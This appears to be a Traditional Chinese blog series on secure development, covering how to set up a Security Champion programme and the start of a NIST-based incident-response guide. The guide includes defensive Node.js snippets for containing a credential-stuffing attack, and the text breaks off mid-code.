— SSDLC by 飛飛


一、Security Champion 是什麼?為什麼你的團隊需要「安全種子選手」?

在 SSDLC 蓋房子的旅程中,我們已經走過了安全需求、安全設計、安全編碼、安全測試、安全部署、安全維運。到了階段七:教育與持續改進(Education & Continuous Improvement)——也就是社區防災演練、經驗傳承的階段。

但這裡有一個殘酷的現實:再好的安全制度,如果沒有「人」在團隊裡日復一日地推動,最終都會變成牆上的海報。

想像你住的社區,管委會請了一位消防顧問來演講,大家聽完拍拍手,然後繼續把滅火器當門擋用。但如果你們棟有一位鄰居,本身就住在這裡、了解大家的習慣,他會在群組裡提醒「瓦斯記得關」、在樓梯間順手檢查滅火器、住戶裝修時提醒「不要擋到消防通道」——這位鄰居就是你的 Security Champion

Security Champion(安全冠軍 / 安全倡導者) 是開發團隊中願意多學一點資安知識、在日常開發中推廣安全實踐的開發者。他們不是資安專家,也不需要轉職成資安工程師,而是在原本的開發角色上,多戴一頂安全的帽子

面向 專職資安團隊 Security Champion
身份 獨立的資安部門成員 開發團隊中的一員
比喻 消防局派來的消防員 社區裡懂消防的鄰居
優勢 專業深度、全局視野 了解團隊痛點、即時回應
劣勢 不了解每個團隊的細節 安全知識有限,需要持續學習
角色 制定政策、審計、應變 推廣實踐、第一線把關、橋樑溝通

根據 OWASP Security Champions Playbook 的定義,Security Champion 是團隊中安全事務的單一聯絡窗口,他們與資安團隊保持聯繫、監督安全最佳實踐的落實,並協助推動安全文化活動。

飛飛觀點:
在台灣,很多中小型軟體公司根本沒有專職資安人員。這不代表你可以不做安全——而是代表你更需要 Security Champion。就像小公寓沒有物管公司,更需要有個熱心鄰居幫忙注意門禁安全。


二、沒有 Security Champion 會怎樣?那些血淋淋的場景

在你決定要不要建立 Security Champion 計畫之前,先看看沒有它的團隊長什麼樣子:

場景一:資安警報變成噪音
CI/CD Pipeline 加入了 SAST 掃描(太好了,你讀了前幾篇文章!),每次掃出 20 條警告。但沒有人知道哪些重要、哪些是誤報,開發者開始習慣性忽略。三個月後,Pipeline 裡的安全掃描變成了裝飾品。

場景二:安全知識斷層
團隊裡那個懂資安的前輩離職了。他腦中的安全設計決策、為什麼密碼要用 Argon2 而不是 bcrypt、為什麼那個 API 要加 Rate Limit——全部跟著他走了。新人接手後,這些防護措施逐漸被「簡化」掉。

場景三:資安團隊變成瓶頸
公司有一個兩人的資安團隊,但他們要審全公司八個團隊的程式碼。結果?安全審查排隊排到天荒地老,開發者為了趕 deadline 直接跳過安全審查上線。

場景四:安全只在出事時被想起
平時大家各忙各的,直到某天客戶資料外洩上了新聞。老闆緊急召開會議:「誰來負責?」大家面面相覷——因為安全從來不是「誰的事」。

這些場景有沒有很眼熟?Security Champion 計畫正是為了解決這些問題而存在的。


三、Security Champion 的角色定義:他們到底要做什麼?

Security Champion 不是「兼職資安工程師」,也不是「背鍋俠」。他們的角色更像是一座橋——連結開發團隊與資安團隊,讓安全知識能在日常開發中流動。

核心職責清單

## Security Champion 職責定義

### 日常職責(每週投入 2-4 小時)
- [ ] Code Review 時關注安全面向(輸入驗證、權限檢查、錯誤處理)
- [ ] 協助團隊判讀 SAST / DAST / SCA 掃描結果
- [ ] 在 Sprint Planning 提出安全考量(「這個功能需要做威脅建模嗎?」)
- [ ] 追蹤團隊的安全技術債,確保高風險項目被排入修復計畫

### 推廣職責(每月 2-4 小時)
- [ ] 在團隊內分享最新的安全漏洞案例或技術趨勢
- [ ] 帶領團隊做安全相關的 Workshop 或 Lunch & Learn
- [ ] 維護團隊的安全 Checklist 和最佳實踐文件

### 橋樑職責(持續性)
- [ ] 作為團隊與資安團隊之間的聯絡窗口
- [ ] 將資安團隊的政策「翻譯」成開發者聽得懂的語言
- [ ] 回報團隊遇到的安全工具問題或流程卡點
- [ ] 參加跨團隊的 Security Champion 定期會議

### 進階職責(視經驗逐步加入)
- [ ] 協助進行新功能的威脅建模(STRIDE 分析)
- [ ] 撰寫安全相關的自訂 Semgrep / ESLint 規則
- [ ] 協助規劃安全驗收標準(Gherkin 格式)
- [ ] 在事件回應時提供技術支援

Security Champion ≠ 這些角色

很多團隊對 Security Champion 有誤解,這裡先釐清:

Security Champion Security Champion 不是
安全意識的推廣者 所有安全工作的執行者
團隊的安全諮詢窗口 唯一需要關心安全的人
資安團隊的延伸觸角 資安團隊的替代品
持續學習安全的開發者 已經精通資安的專家
提出安全建議的人 有權否決功能上線的人

飛飛觀點:
最常見的失敗原因是把 Security Champion 當成「免費的資安工程師」——什麼安全工作都丟給他,但不給他時間、資源和支持。這就像讓一個志工消防員去處理化學工廠大火,既不公平也不實際。


四、從零建立 Security Champion 計畫:六步驟實戰指南

第一步:取得管理層支持(最重要的一步)

沒有管理層的支持,Security Champion 計畫注定失敗。因為 Champion 需要被允許在工作時間花一部分精力在安全上。如果主管認為「寫 Code 才是正事,搞安全是浪費時間」,那 Champion 就會在產出壓力和安全責任之間被夾扁。

怎麼說服老闆?用數據和錢說話:

## 給主管的電梯簡報

### 問題
- 台灣企業每年因資安事件平均損失 NT$ 3,200 萬
- 上線後才發現的安全漏洞,修復成本是設計階段的 30-100 倍
- 我們目前沒有人在開發過程中把關安全

### 解決方案
- 建立 Security Champion 計畫
- 每個團隊指定一位開發者,每週投入 2-4 小時關注安全
- 不需要額外招人,不需要大額預算

### 預期效益
- 安全漏洞在開發階段被發現的比率提升 40-60%
- 減少上線後的安全修補成本
- 提升團隊整體安全意識與程式碼品質
- 符合客戶與法規(個資法、資安法)的安全要求

### 需要的支持
- 允許 Champion 每週有 2-4 小時的安全學習與實踐時間
- 提供基礎的培訓資源(約 NT$ 30,000-50,000 / 年)
- 在績效考核中認可 Champion 的貢獻

第二步:選對人(心態比技能重要)

Security Champion 不需要是團隊裡技術最強的人,但一定要是對安全有好奇心、願意學習、能影響他人的人。

理想的 Security Champion 特質:

  • 好奇心強:看到一個 API 會想「如果有人亂打參數會怎樣?」
  • 樂於分享:願意在團隊內分享學到的東西,不藏私
  • 溝通能力好:能把技術概念用大家聽得懂的方式說明
  • 有影響力:團隊成員信任他、願意聽他的建議
  • 主動積極:不需要人追著跑,自己會找資源學習

建議的人數比例: 每 5-10 位開發者配一位 Security Champion。太少覆蓋不了,太多反而沒人認真投入。

選人方式:

方式 優點 缺點
自願報名 動機最強、投入度高 可能沒人報名
主管推薦 可確保每個團隊都有 被推薦的人可能不情願
結合兩者 平衡覆蓋率與投入度 需要更多溝通協調

台灣場景的建議: 先從自願報名開始,搭配一場「Security Champion 是什麼」的說明會。我的經驗是,當大家知道這不是額外加班,而是有資源支持的成長機會時,通常都會有人主動舉手。

飛飛觀點:
最怕的就是「被志願」的 Champion。研究指出,被強迫擔任的 Champion 往往會心生不滿、敷衍了事。招募應該強調吸引力和好奇心,而不是強制指派。如果一個團隊真的沒人想當,那代表安全文化需要先從更基礎的地方開始培養。


第三步:建立培訓路線圖(漸進式學習)

Security Champion 不需要一開始就精通所有資安知識。好的培訓計畫是漸進式的——先打基礎,再逐步加深。

培訓路線圖(建議 6 個月為一個週期)

第 1 個月:安全意識基礎
├─ OWASP Top 10 概覽(讀完本系列文章就夠了!)
├─ 常見漏洞 Demo(SQL Injection、XSS 實際操作)
├─ 認識團隊使用的安全工具(SAST、DAST、SCA)
└─ 完成 OWASP Juice Shop 前 10 個挑戰

第 2-3 個月:工具與流程實戰
├─ 學會判讀 SonarQube / Semgrep 的掃描報告
├─ 練習做簡單的 Code Review(安全面向)
├─ 參與一次威脅建模 Workshop(STRIDE)
└─ 撰寫第一份 Abuse Case

第 4-5 個月:深化與分享
├─ 學習進階主題(認證授權設計、密碼學基礎、供應鏈安全)
├─ 在團隊內做一次 Lunch & Learn 分享
├─ 協助定義一個功能的安全驗收標準
└─ 參加外部資安社群活動或研討會

第 6 個月:評估與規劃
├─ 自我評估成長(對照初始基準)
├─ 收集團隊回饋
├─ 規劃下一期的學習重點
└─ 將經驗文件化,加入團隊知識庫

推薦的學習資源:

資源 類型 費用 適合階段
SSDLC by 飛飛 系列文章 文章 免費 第 1 個月
OWASP Juice Shop 實作平台 免費 第 1-2 個月
PortSwigger Web Security Academy 線上課程 + Lab 免費 第 2-3 個月
OWASP Security Champions Guide 指南 免費 持續參考
AWS Security Champion Knowledge Path 線上課程 + Badge 付費(Skill Builder) 第 3-5 個月
資安實務研討會(如 HITCON、CYBERSEC) 研討會 付費(NT$ 2,000-8,000) 第 4-5 個月

第四步:建立溝通機制與社群

Security Champion 不該是孤軍奮戰。他們需要一個互相支持的社群。

建議建立以下溝通管道:

1. 專屬 Slack / Teams 頻道
建一個 <code>#security-champions</code> 頻道,讓所有 Champion 可以:

  • 分享遇到的安全問題和解決方式
  • 討論掃描結果中不確定的發現
  • 轉發最新的安全資訊和漏洞通報

2. 雙週定期會議(30 分鐘)
每兩週一次的短會議,議程很簡單:

## Security Champion 雙週會議議程(30 分鐘)

1. 【5 分鐘】近期安全動態(資安團隊分享)
2. 【10 分鐘】各團隊安全近況回報
   - 有沒有遇到新的安全問題?
   - 掃描結果有什麼需要討論的?
   - 有沒有什麼安全改善的好消息?
3. 【10 分鐘】主題討論 / 案例分享
   - 輪流由一位 Champion 分享學到的東西
4. 【5 分鐘】行動項目確認

3. 知識庫(Wiki / Notion / Confluence)
集中管理所有安全相關的知識:

/security-knowledge-base
  /onboarding           ← 新進 Champion 的入門指南
  /checklists           ← 各類安全 Checklist
  /case-studies         ← 團隊遇過的安全案例
  /tool-guides          ← 安全工具使用指南
  /templates            ← 威脅建模、Abuse Case 模板
  /meeting-notes        ← 雙週會議紀錄

第五步:設計激勵機制(讓人想繼續做下去)

Security Champion 是額外付出時間和精力的角色,如果沒有適當的激勵,熱情很快就會消退。

激勵不只是獎金,而是認可、成長和影響力。

激勵類型 具體做法 成本
公開認可 在全公司月會上介紹 Champion 和他們的貢獻 免費
學習資源 贊助參加資安研討會(如 HITCON、CYBERSEC) NT$ 3,000-8,000 / 次
證照補助 補助考取 Security+ 或 CEH 等證照 NT$ 10,000-30,000
績效認可 將 Champion 工作納入績效考核的加分項目 免費
成長路徑 提供 Tech Lead 或 Security Engineer 的晉升參考 免費
季度表彰 「最佳安全倡導者」獎,附贈小禮物或獎金 NT$ 1,000-3,000
時間保障 明確規定每週有 2-4 小時的安全學習時間 免費(但最珍貴)

台灣企業的實戰做法:

  • 某台灣電商公司:每季評選「安全之星」,在公司群組公開表揚,並送一張 NT$ 3,000 的書券(買技術書籍用)
  • 某台灣金融科技新創:Security Champion 的工作納入 OKR,佔個人績效的 10%,確保主管不會忽視他們的貢獻
  • 某台灣 SaaS 公司:每年贊助一位 Champion 去參加海外資安研討會,回來後做一場公司內部分享

飛飛觀點:
在所有激勵中,「時間保障」是最重要的。很多公司口頭支持安全,但 Champion 一忙起來就被要求「先趕功能,安全的事晚點再說」。如果連學習和實踐的時間都沒有,其他激勵都是空談。


第六步:衡量成效,持續改進

Security Champion 計畫不是設立了就萬事大吉。你需要追蹤指標,確認計畫真的有在產生效果。

建議追蹤的指標:

// Security Champion 計畫成效指標
const securityChampionMetrics = {
  // 安全品質指標
  vulnerabilities: {
    '開發階段發現的漏洞數': '應該逐漸增加(代表更多問題被提前發現)',
    '上線後才發現的漏洞數': '應該逐漸減少',
    '平均漏洞修復時間': '應該逐漸縮短',
    'SAST 掃描合格率': '應該逐漸提升',
  },

  // 文化指標
  culture: {
    'Champion 活動參與率': '每月分享會的出席率',
    'Security PR Review 參與度': 'Champion 參與安全相關 Code Review 的頻率',
    '安全議題提出次數': 'Sprint Planning 中提出安全考量的次數',
    '知識庫更新頻率': '安全文件被新增或更新的次數',
  },

  // Champion 個人成長指標
  growth: {
    '培訓完成率': '預定課程的完成比例',
    '安全技能自評分數': '每季一次,1-5 分自評',
    '分享次數': 'Lunch & Learn 或文章分享的次數',
  },

  // 滿意度指標
  satisfaction: {
    'Champion 滿意度': '對計畫的整體滿意度(季度調查)',
    '團隊感受': '團隊成員是否感覺安全意識有提升',
  }
};

簡易的季度報告模板:

## Security Champion 計畫 Q_ 季度報告

### 本季重點數據
- Security Champion 人數:_ 人(覆蓋 _ 個團隊)
- 開發階段發現漏洞:_ 件(上季:_ 件)
- 上線後安全事件:_ 件(上季:_ 件)
- 平均漏洞修復時間:_ 天(上季:_ 天)

### 本季活動
- 舉辦 _ 場安全分享會
- 完成 _ 次威脅建模
- 更新 _ 份安全文件

### 成功案例
[記錄一個具體的、Champion 發現或預防安全問題的案例]

### 挑戰與改進
[記錄遇到的困難和下季改進方向]

五、台灣場景實戰:一個 20 人團隊的導入案例

讓我們用一個虛構但寫實的台灣場景,走一遍 Security Champion 計畫的完整導入。

背景

「好買網」是一間台灣的中型電商平台,團隊 20 人(3 個 Scrum 小組,每組 5-7 人),使用 Node.js + React 技術棧。沒有專職資安人員,過去安全靠上線前找外部廠商做一次滲透測試。

導入過程

Month 0:準備階段
CTO 閱讀了 SSDLC 系列文章(就是你現在在看的這個系列),決定導入 Security Champion 計畫。他向 CEO 提出提案,用「去年滲透測試發現 15 個高風險漏洞,修復花了 3 個 Sprint」的數據說服管理層支持。

Month 1:啟動

  • 舉辦一場 1 小時的全員說明會,介紹 Security Champion 計畫
  • 三個 Scrum 小組各有一人自願報名(前端組的小美、後端組的阿凱、DevOps 組的志明)
  • 每位 Champion 每週有 3 小時的安全學習時間
  • 建立 <code>#security-champions</code> Slack 頻道

Month 2-3:基礎培訓

  • 三人一起讀完 SSDLC 系列文章的安全需求和安全編碼篇
  • 各自完成 OWASP Juice Shop 前 15 個挑戰
  • 阿凱在 Code Review 時發現一個 SQL Injection 風險,提交修復 PR
  • 志明把 Semgrep 的掃描結果整理成團隊看得懂的報告格式

Month 4-6:實戰累積

  • 小美在 Sprint Planning 提出「這個新的社群分享功能需要做 Abuse Case 分析」
  • 三人合作完成了登入系統的 STRIDE 威脅建模
  • 阿凱做了第一場 Lunch & Learn:「我如何用 5 分鐘在好買網找到 XSS 漏洞」(用測試環境 demo)
  • 志明建立了團隊的「部署前安全 Checklist」
  • 外部滲透測試結果:高風險漏洞從去年的 15 個降到 4 個

Month 7-12:持續改進

  • 新進的開發者入職時,由 Champion 帶他做一次安全基礎導覽
  • 建立了安全知識庫,累積了 12 篇安全案例
  • CTO 在年度大會上公開表揚三位 Champion
  • 阿凱開始對團隊的自訂 Semgrep 規則做貢獻
  • 計畫吸引了另外兩位開發者加入,Champion 團隊擴大到 5 人

成果數據

指標 導入前 導入後(一年)
外部滲透測試高風險漏洞數 15 個 4 個
開發階段發現的安全問題 0 件 / 季 12 件 / 季
安全修復平均時間 14 天 3 天
團隊安全意識自評(1-5) 2.1 分 3.8 分
Sprint Planning 提出安全議題次數 0 次 / 月 4 次 / 月

六、Security Champion 的成熟度模型:你的計畫在哪個階段?

Security Champion 計畫不是一步到位的,它有自己的成長曲線。以下是四個成熟度等級,幫你評估目前的狀態和下一步方向:

等級 名稱 特徵 下一步行動
Level 1 萌芽期 剛指定 Champion,角色定義模糊,培訓剛開始 明確職責、建立培訓路線圖
Level 2 建立期 Champion 開始在 Code Review 中關注安全,定期會議已建立 建立激勵機制、開始量化指標
Level 3 成長期 Champion 主動發現問題、帶動團隊文化改變、有系統的知識分享 深化技能(威脅建模、自訂規則)、建立知識庫
Level 4 成熟期 安全融入開發日常、Champion 影響架構決策、形成安全社群 建立 Community of Practice、影響組織策略

根據 BSIMM(Building Security In Maturity Model)的數據,在安全成熟度最高的企業中,有 92% 設有 Security Champion 計畫,而成熟度最低的企業只有 32%。這充分說明了 Security Champion 與組織安全水準的正相關。


七、常見問題 FAQ

Q1:我們團隊只有 5 個人,也需要 Security Champion 嗎?

需要,而且更需要。小團隊沒有專職資安人員,代表安全責任完全分散,結果就是沒人負責。指定一位 Champion,哪怕每週只花 1-2 小時關注安全,都比「大家都有責任 = 沒人有責任」好太多了。

Q2:Security Champion 需要什麼背景?需要資安證照嗎?

不需要任何資安背景或證照。最重要的是對安全有興趣和好奇心。培訓計畫會逐步補足知識。事實上,很多優秀的 Champion 是從「想知道為什麼這行程式碼不安全」這個好奇心開始的。證照可以作為後續的成長目標,但絕不是門檻。

Q3:Champion 會不會變成團隊的瓶頸?什麼安全決策都要經過他?

不應該。Champion 的角色是「推廣者」和「諮詢者」,不是「審核者」。安全檢查應該盡量自動化(SAST、DAST、SCA 整合進 CI/CD),Champion 負責的是幫助團隊理解掃描結果、推動安全文化,而不是親自審每一行 Code。

Q4:如果 Champion 離職了怎麼辦?

這正是為什麼每個團隊至少要有一位 Champion、公司整體要有多位 Champion 的原因。另外,Champion 累積的知識應該被文件化在知識庫中,而不是只存在個人腦中。建議每位 Champion 培養至少一位「備援」,就像值班制度一樣。

Q5:這跟之前文章提到的「威脅建模引導者」是同一個角色嗎?

是的!在威脅建模入門那篇文章中提到的「威脅建模引導者」,就是 Security Champion 的職責之一。Champion 是一個更全面的角色,威脅建模、安全 Code Review、工具結果判讀、安全教育——這些都是 Champion 的工作範疇。


八、Security Champion Onboarding Checklist

如果你已經決定要成為或指定 Security Champion,以下是一份可以直接使用的入職清單:

## Security Champion 新手入職 Checklist

### 第一週:認識角色
- [ ] 閱讀 Security Champion 職責定義文件
- [ ] 加入 #security-champions 頻道
- [ ] 認識資安團隊的聯絡窗口
- [ ] 了解公司目前使用的安全工具(SAST、DAST、SCA)
- [ ] 閱讀 SSDLC by 飛飛 的「什麼是 SSDLC」入門文章

### 第一個月:打基礎
- [ ] 完成 OWASP Top 10 概覽學習
- [ ] 在 OWASP Juice Shop 完成前 10 個挑戰
- [ ] 學會查看 CI/CD Pipeline 中的安全掃描報告
- [ ] 在一次 Code Review 中嘗試從安全角度提出建議
- [ ] 參加第一次 Security Champion 雙週會議

### 第二個月:開始實踐
- [ ] 獨立判讀一次 SAST 掃描結果(區分真陽性和誤報)
- [ ] 在 Sprint Planning 中提出至少一個安全考量
- [ ] 閱讀 SSDLC 系列的安全需求和安全編碼文章
- [ ] 建立或更新一份團隊的安全 Checklist

### 第三個月:分享與連結
- [ ] 在團隊內做一次 15 分鐘的安全分享
- [ ] 將一個學到的安全知識寫成文件,加入知識庫
- [ ] 嘗試為一個功能撰寫 Abuse Case
- [ ] 評估自己的學習進度,規劃下一階段目標

九、結語:安全文化的最小可行單位,是一個願意多想一步的人

工具可以自動掃描、流程可以強制執行、政策可以寫得很漂亮——但真正讓安全在團隊裡生根發芽的,是

Security Champion 不是一個華麗的頭銜,而是一個簡單的承諾:「我願意在寫程式的同時,多想一步——這行 Code 安全嗎?這個設計會不會被攻擊者利用?這個錯誤訊息會不會洩露太多資訊?」

在 SSDLC 蓋房子的旅程中,我們學了怎麼寫安全需求、怎麼做威脅建模、怎麼安全編碼、怎麼做測試、怎麼強化系統。但所有這些知識,都需要有人在每一天的開發工作中去實踐。Security Champion 就是那個把知識變成行動的人。

回想一下你家社區裡那位熱心的鄰居——他不需要是消防員、不需要是保全專家,但因為他的存在,整個社區都更安全了一點。

你,願意成為你團隊的那個人嗎?

安全不是恐懼,而是創造的基礎。
當團隊裡有人願意為安全多想一步,安全文化就不再是政策文件裡的口號——而是每一次 Code Review、每一次 Sprint Planning、每一次部署中,自然而然發生的事。


延伸閱讀

[安全維運] 002 事件回應 SOP 完整指南:發生資安事件怎麼辦?NIST 四階段流程與 Node.js 實戰範例

「房子住進去之後,最怕的不是牆壁裂開,而是半夜火災時不知道滅火器在哪裡。
系統上線之後也一樣——你不怕出事,怕的是出事之後手忙腳亂、沒有人知道該做什麼。
事件回應不是『希望用不到』的東西,而是『用到時能救命』的東西。」
— SSDLC by 飛飛


一、事件回應是什麼?為什麼每個開發團隊都需要一份 SOP?

想像你住在一棟新蓋好的公寓裡。建商用了防火建材、裝了煙霧偵測器、也有消防灑水系統。這些都是之前在設計和施工階段做好的安全措施。

但有一天,三樓真的冒煙了。

這時候你需要的不是再去研究防火建材的規格,而是:

  • 誰負責打 119?
  • 住戶要從哪個樓梯逃生?
  • 消防栓在幾樓?
  • 怎麼確認所有人都安全撤離了?
  • 火滅了之後,要怎麼評估損失、修復房屋?

這就是事件回應(Incident Response, IR)——當資安事件真的發生時,你的團隊要按照什麼流程來處理,才能把傷害降到最低、盡快恢復正常。

在 SSDLC 的旅程中,我們已經走過了安全需求(確認要防火)、安全設計(畫好消防通道)、安全實作(裝好偵測器)、安全驗證(測試灑水系統能不能動)。現在我們來到了階段五:部署與維運——房子住進去之後,真的發生狀況要怎麼辦?

為什麼這件事這麼重要?

因為不管你的防禦做得多好,沒有任何系統是 100% 不會被入侵的。就像不管防火建材多好,你還是需要滅火器和逃生計畫。資安界有句名言:

「被入侵不是『會不會』的問題,而是『什麼時候』的問題。」

根據 IBM 的統計,擁有事件回應計畫並定期演練的組織,平均每次資料外洩事件可以節省超過 NT$5,000 萬的損失。不是因為他們不會被攻擊,而是因為他們知道被攻擊後該怎麼做


二、事件回應的四大階段:用火災應變來理解

事件回應有一個經典的框架,來自 NIST SP 800-61(Computer Security Incident Handling Guide)。它把事件回應分成四個階段,我們繼續用公寓火災的比喻來理解:

┌──────────────┐    ┌──────────────┐    ┌──────────────┐    ┌──────────────┐
│  🛡️ 階段一   │───▶│  🔍 階段二   │───▶│  🔧 階段三   │───▶│  📝 階段四   │
│  準備        │    │  偵測與分析  │    │  封鎖、消除  │    │  事後活動    │
│  Preparation │    │  Detection & │    │  與復原      │    │  Post-       │
│              │    │  Analysis    │    │  Containment │    │  Incident    │
│              │    │              │    │  Eradication │    │  Activity    │
│              │    │              │    │  & Recovery  │    │              │
│ 🏠 準備好   │    │ 🏠 發現冒煙 │    │ 🏠 滅火+   │    │ 🏠 檢討+   │
│ 滅火器和     │    │ 確認是火災   │    │ 修復+      │    │ 改進         │
│ 逃生計畫     │    │ 還是燒焦味   │    │ 重新入住     │    │ 防災措施     │
└──────────────┘    └──────────────┘    └──────────────┘    └──────────────┘
        │                                                          │
        └──────────────────────────────────────────────────────────┘
                            持續改善的循環

這四個階段形成一個循環,每次處理完事件的經驗,都會回饋到準備階段,讓下一次的應變更好。


階段一:準備(Preparation)——滅火器要在火災前就買好

公寓比喻:在火災發生之前,你要做的事:

  • 買滅火器放在走廊
  • 畫好逃生路線圖貼在電梯旁
  • 確認所有住戶都知道逃生出口在哪
  • 跟管委會確認消防公司的電話
  • 每半年做一次消防演練

在資安領域,準備階段要做這些事:

1. 組建事件回應團隊(CSIRT)

CSIRT(Computer Security Incident Response Team)就是你的「消防隊」。不需要是專職的資安團隊,但每個角色必須明確:

角色 職責 公寓比喻
事件指揮官(Incident Commander) 統籌整個事件處理流程,做最終決策 管委會主委
技術負責人(Technical Lead) 帶領技術調查與修復 水電師傅
溝通聯絡人(Communications Lead) 對內對外溝通,包含通知客戶、主管機關 總幹事
法務/合規(Legal/Compliance) 確認法規通報義務、保存證據 社區法律顧問
管理層代表(Management) 核准重大決策(如關閉系統) 建設公司代表

飛飛觀點:
對於 5-10 人的小團隊,不需要每個角色都是不同的人。CTO 可以同時是事件指揮官和技術負責人,PM 可以兼溝通聯絡人。重點是事先指定,而不是事發後才在群組裡問「誰來處理?」

2. 準備工具與資源

就像滅火器要在火災前就放好,以下工具要在事件發生前就準備好:

□ 日誌集中管理系統(如 ELK Stack、Graylog)
□ 系統監控與告警工具(如 Grafana、CloudWatch)
□ 事件追蹤系統(如 Jira、PagerDuty)
□ 安全的溝通管道(不要用可能被入侵的系統來討論事件!)
□ 數位鑑識工具(如 Volatility、Autopsy)
□ 離線備份(確認備份真的可以還原)
□ 聯絡清單(團隊成員手機、外部資安廠商、主管機關聯繫方式)

3. 建立事件分類與分級標準

不是每個告警都是世界末日。你需要一套分級標準,讓團隊知道什麼時候該全員召集、什麼時候看一下就好:

等級 名稱 說明 回應時效 範例
P1 緊急(Critical) 系統核心功能受損或大規模資料外洩 15 分鐘內回應 資料庫被拖走、勒索軟體感染
P2 高(High) 部分功能受影響或有確認的入侵跡象 1 小時內回應 管理後台被未授權存取、異常大量 API 呼叫
P3 中(Medium) 可疑活動但尚未確認影響 4 小時內回應 多次登入失敗、可疑的掃描行為
P4 低(Low) 資訊性事件,需要記錄但不需緊急處理 下一個工作日 弱點掃描發現低風險問題

4. 定期演練

有逃生計畫但從來不演練,等真的火災來了,大家還是會慌。建議每季做一次桌上演練(Tabletop Exercise)——不需要真的動系統,團隊坐下來,模擬一個資安事件情境,走一遍流程。

演練情境範例(台灣電商場景):

情境:你們的電商平台在週五晚上 10 點收到客戶投訴,
說他的帳號被用來下了一筆 NT$50,000 的訂單,但他本人沒有操作。

同時,監控系統顯示過去 1 小時有超過 500 個帳號從同一個 IP 段嘗試登入,
其中 30 個帳號登入成功。

請討論:
1. 這是什麼等級的事件?
2. 誰應該被通知?
3. 第一步要做什麼?
4. 需要通報主管機關嗎?(提示:個資法)
5. 要不要暫時關閉登入功能?

階段二:偵測與分析(Detection & Analysis)——確認是真的火災,還是只是鄰居在烤肉

公寓比喻:煙霧偵測器響了,你要先搞清楚:

  • 是真的失火了嗎?還是有人在廚房燒焦了東西?
  • 如果是火災,火源在哪?幾樓?
  • 範圍多大?有擴散嗎?
  • 有沒有人受傷?

在資安領域,偵測與分析要回答這些問題:

1. 事件來源有哪些?

資安事件的「煙霧偵測器」有很多種:

偵測來源 說明 範例
監控系統告警 SIEM、IDS/IPS 發出的自動告警 「同一 IP 在 5 分鐘內嘗試登入 200 次」
使用者回報 客戶或內部員工通報 「我的帳號被盜了」「網站出現奇怪的頁面」
第三方通知 外部資安研究者或合作夥伴告知 「在暗網看到你們的客戶資料在賣」
例行檢查 定期的日誌審查或掃描 「弱點掃描發現新的 Critical 弱點」
執法機關通知 警察或調查局告知 「你們的系統IP出現在犯罪調查中」

2. 初步分析:確認事件的真實性與範圍

收到告警後,不要馬上恐慌。先做初步分析:

// 事件初步分析 Checklist(Node.js 日誌查詢範例)
const analyzeIncident = async (alertData) => {
  console.log('=== 事件初步分析 ===');

  // 1. 確認告警來源是否可信
  console.log('📌 告警來源:', alertData.source);
  console.log('📌 告警時間:', alertData.timestamp);

  // 2. 查詢相關日誌
  const relatedLogs = await queryLogs({
    timeRange: {
      start: new Date(alertData.timestamp - 3600000), // 往前看 1 小時
      end: new Date(alertData.timestamp + 1800000),   // 往後看 30 分鐘
    },
    filters: {
      sourceIP: alertData.sourceIP,
      userId: alertData.userId,
    }
  });

  // 3. 初步判斷
  const analysis = {
    isConfirmed: false,          // 是否確認為真實事件
    severity: 'UNKNOWN',         // 嚴重等級
    affectedSystems: [],         // 受影響的系統
    affectedUsers: 0,            // 受影響的使用者數量
    dataExposure: 'UNKNOWN',     // 是否有資料外洩
    isOngoing: true,             // 攻擊是否仍在進行
  };

  // 4. 記錄分析結果(保留證據!)
  await saveToIncidentLog({
    incidentId: generateIncidentId(), // IR-2026-001
    analyst: 'on-call-engineer',
    timestamp: new Date(),
    findings: analysis,
    rawLogs: relatedLogs,
  });

  return analysis;
};

3. 事件時間線建立

確認是真實事件後,最重要的事情之一就是建立事件時間線(Timeline)。這就像火災調查員會重建火災的發展過程:

📅 事件時間線範例:帳號大規模盜用事件

2026-02-27 21:30  監控系統偵測到異常登入行為
                  (同一 IP 段 103.xx.xx.0/24 大量登入嘗試)

2026-02-27 21:45  告警發送至 on-call 工程師

2026-02-27 21:50  工程師確認為 Credential Stuffing 攻擊
                  (撞庫攻擊,使用外洩的帳密清單嘗試登入)

2026-02-27 22:00  第一位客戶來電投訴帳號被盜

2026-02-27 22:10  初步統計:30 個帳號被成功登入
                  其中 5 個帳號已被用來下單

2026-02-27 22:15  升級為 P1 事件,通知事件指揮官

2026-02-27 22:20  ▶ 進入階段三:封鎖與消除

飛飛觀點:
時間線是事件回應中最有價值的產出之一。它不只是事後寫報告用的,在事件處理過程中,它能幫助你的團隊保持頭腦清醒——在壓力下,人很容易忘記自己做了什麼、什麼時間做的。養成習慣,每做一個動作就記一筆。


階段三:封鎖、消除與復原(Containment, Eradication & Recovery)——滅火、清理現場、重新入住

這是事件回應中最「動手」的階段。公寓比喻:

  • 封鎖(Containment):先阻止火勢蔓延——關閉門窗、隔離起火樓層
  • 消除(Eradication):把火撲滅、找到火源並確認完全熄滅
  • 復原(Recovery):修復受損區域、確認安全後讓住戶回來

封鎖(Containment):先止血

封鎖的目標是阻止事件繼續擴大。分為短期封鎖和長期封鎖:

類型 目的 時機 範例
短期封鎖 立即止血,減少損害 確認事件後立即執行 封鎖攻擊來源 IP、停用被入侵帳號
長期封鎖 建立臨時防線,等待根本修復 短期封鎖後 啟用額外的認證機制、部署 WAF 規則

實戰範例:處理 Credential Stuffing 攻擊的封鎖措施

// 短期封鎖措施
const shortTermContainment = async (incidentData) => {
  // 1. 封鎖攻擊來源 IP 段
  await firewall.blockIPRange('103.xx.xx.0/24');
  logAction('封鎖 IP 段 103.xx.xx.0/24');

  // 2. 強制登出所有被入侵的帳號
  for (const userId of incidentData.compromisedUsers) {
    await session.revokeAllSessions(userId);
    logAction(<code>強制登出使用者 ${userId} 所有 Session</code>);
  }

  // 3. 暫時提高登入的 Rate Limit
  await rateLimiter.update({
    endpoint: '/api/auth/login',
    maxAttempts: 3,        // 從 10 次降到 3 次
    windowMinutes: 15,     // 15 分鐘內
    blockDuration: 60,     // 超過就封鎖 60 分鐘
  });
  logAction('提高登入 Rate Limit 限制');

  // 4. 凍結可疑訂單
  for (const orderId of incidentData.suspiciousOrders) {
    await orders.freeze(orderId);
    logAction(<code class="kb-btn">凍結可疑訂單 ${orderId}</code>);
  }
};
// 長期封鎖措施
const longTermContainment = async () => {
  // 1. 對所有被入侵帳號強制重設密碼
  for (const userId of incidentData.compromisedUsers) {
    await auth.forcePasswordReset(userId);
    await notification.send(userId, {
      subject: '【重要】您的帳號安全通知',
      template: 'account-compromised',
    });
    logAction(<code>強制重設使用者 ${userId} 密碼並發送通知</code>);
  }

